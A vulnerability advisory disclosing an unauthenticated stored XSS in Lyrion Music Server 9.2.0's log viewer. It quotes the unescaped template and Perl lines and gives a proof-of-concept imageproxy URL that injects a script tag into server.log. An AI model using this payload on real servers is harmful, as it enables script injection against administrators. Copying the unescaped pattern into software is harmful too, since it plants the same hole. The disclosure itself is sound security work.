Lyrion Music Server 9.2.0 (server.log) Unauthenticated Stored XSS


Vendor: LMS Community
Product web page: https://www.lyrion.org
Affected version 9.2.0

Summary: Lyrion Music Server (formerly Logitech Media Server, and
often abbreviated as "LMS" ) is open-source software which can control
and serve (stream) music to a wide range of physical and virtual audio
players called Squeezeboxes. Lyrion Music Server can stream your local
music collection, internet radio stations, and content from many streaming
services (with and without subscriptions).

Desc: The log viewer reflects request parameters and raw log content into
HTML with no escaping. Template Toolkit has no global auto-escaping so any
[% var %] without an explicit | html filter is an injection point. The search,
lines and path query parameters are reflected directly, and log lines are
emitted as raw HTML. Any attacker-provided value that gets logged (a crafted
URL, User-Agent, stream title, player name) becomes stored XSS.

============================================================================
/HTML/EN/log.html
-------------------
85:  <input type="text" name="search" id="search" value="[% search %]" ...>
98:  <span><a href="/[% path %]?zip=1">[% "DOWNLOAD" | string %]</a></span>
100: <input type="hidden" name="lines" id="lines" value="[% lines %]"></input>
103: <pre>[% logLines %]</pre>


/Slim/Web/Pages/Common.pm  (logFile)
------------------------------------
508:  my $search = $params->{search};
...   $line = "<span style=\"color:red\">$line</span>" if ...;
549:  return Slim::Web::HTTP::filltemplatefile("log.html", $params);
============================================================================

Tested on: Windows 10 (64-bit) - EN
           Lyrion Music Server (9.2.0 - 1779973211)
           Perl/5.32.1
           SQLite


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5989
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5989
CVE ID: CVE-2026-50231
CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-50231


27.05.2026

--


http://localhost:9000/imageproxy/file:////Zero%20Science%20Lab%20is%3Cscript%3Econfirm(%22Awesome!%22)%3C/script%3E

Viewing log at http://localhost:9000/server.log:
...
...
[26-05-29 14:32:44.5987] Slim::Web::ImageProxy::__ANON__ (376) Artwork resize for imageproxy/file:////Zero Science Lab is failed
...